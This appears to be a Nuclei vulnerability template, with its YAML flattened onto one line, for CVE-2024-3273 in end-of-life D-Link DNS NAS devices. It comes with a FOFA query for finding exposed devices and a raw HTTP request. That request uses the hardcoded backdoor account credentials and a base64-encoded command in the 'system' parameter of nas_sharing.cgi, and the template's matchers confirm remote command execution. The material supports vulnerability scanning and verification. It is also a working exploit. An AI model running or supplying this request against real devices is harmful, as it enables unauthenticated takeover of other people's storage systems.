CVE-2024-3273

app="D_Link-DNS-ShareCenter"

GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

id: CVE-2024-3273info:  name: D-Link Network Attached Storage - Command Injection and Backdoor Account  author: pussycat0x  severity: high  description: |    UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, was found in D-Link DNS-320L, DNS-325, DNS-327L and DNS-340L up to 20240403. Affected is an unknown function of the file /cgi-bin/nas_sharing.cgi of the component HTTP GET Request Handler. The manipulation of the argument system leads to command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-259284. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.  reference:    - https://github.com/netsecfish/dlink    - https://www.bleepingcomputer.com/news/security/over-92-000-exposed-d-link-nas-devices-have-a-backdoor-account/#google_vignette    - https://news.ycombinator.com/item?id=39960107    - https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383    - https://vuldb.com/?ctiid.259284  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L    cvss-score: 7.3    cve-id: CVE-2024-3273    cwe-id: CWE-77    epss-score: 0.00044    epss-percentile: 0.09057  metadata:    verified: true    fofa-query: app="D_Link-DNS-ShareCenter"  tags: cve,cve2024,dlink,nasvariables:  cmd: "id"http:  - method: GET    path:      - "{{BaseURL}}/cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system={{base64(cmd)}}"    matchers-condition: and    matchers:      - type: word        words:          - "<auth_state>1</auth_state>"      - type: regex        part: body        regex:          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"      - type: status        status:          - 200# digest: 480a00453043022055f08688d87627d1f6d57c487916c9884884e1032ac46525aab49882310ceb3e021f4ea7ae65ecc64abd81d4c033cab522110e08a8c7f4dc1395b60f90d99b9014:922c64590222798bb761d5b6d8e72950